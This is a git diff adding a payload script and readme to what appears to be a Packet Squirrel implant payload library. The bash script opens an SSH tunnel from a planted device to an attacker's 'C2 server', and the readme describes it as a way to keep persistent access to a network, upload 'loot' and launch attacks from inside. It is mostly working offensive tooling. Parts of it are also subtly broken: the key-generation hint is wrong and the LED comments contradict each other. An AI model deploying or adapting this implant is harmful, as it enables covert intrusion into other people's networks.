diff --git a/payloads/library/remote-access/SSH-remote-access/payload.sh b/payloads/library/remote-access/SSH-remote-access/payload.sh index e69de29..155a08e 100644 --- a/payloads/library/remote-access/SSH-remote-access/payload.sh +++ b/payloads/library/remote-access/SSH-remote-access/payload.sh @@ -0,0 +1,43 @@ +#!/bin/bash +# Title: SSH Remote Management Tool for Packet Squirrel +# Description: Makes packet Squirrel directly accessible via SSH on a remote server +# Author: BlackPropaganda +# Version: 0.1 +# Category: Remote-Access +# Net Mode: NAT +# Firmware: 1.2 +# +# +# LED State Descriptions +# Magenta Solid - SSH connecting +# Amber Blink 5 Times - Waiting for user button press +# + +# C2 Server address, port and tunnel port +c2_server="192.168.1.123" +c2_port=22 +c2_tunnel_port=2222 +tunnel_user="username" +# no pass needed, headless mode required so RSA key file is used. +# generate in this directory with: 'ssh -t rsa -b 2048 -f id_rsa' + +# we need an IP, so it'll have to be NAT, unless implanted inline. +NETMODE NAT + +# amber blinking for button press to launch SSH connection. +LED A BLINK +# waiting for button press to start SSH connection. +BUTTON +# Green indicates SSH connection has been launched and the server should have received the connection. +LED M SOLID + +# -L indicates local port forwarding which tunnels connections to localhost on server to client. +# Once complete, connect to remote SSH server and connect to the squirrel by connecting to localhost at +# the tunnel port specified on the server to reach the Squirrel. + +# todo: push SSH connection to background to support button kill switch, create optional SSH connection keep-alive. +ssh -L 22:127.0.0.1:$c2_tunnel_port -i id_rsa -p $c2_port $tunnel_user@$c2_server & + +# SSH connection failed, target network may be hardened. +LED R +NETMODE OFF \ No newline at end of file diff --git a/payloads/library/remote-access/SSH-remote-access/readme.md b/payloads/library/remote-access/SSH-remote-access/readme.md index e69de29..84908fd 100644 --- a/payloads/library/remote-access/SSH-remote-access/readme.md +++ b/payloads/library/remote-access/SSH-remote-access/readme.md @@ -0,0 +1,8 @@ +#Squirrel SSH Remote Access +____ + +### Concept: +The Packet Squirrel is a powerful tool, but lets say you wanted persistent access to a network +for a long period of time. This allows the user to remote into the squirrel to do things like +upload loot manually, and launch attacks on a network from the inside. +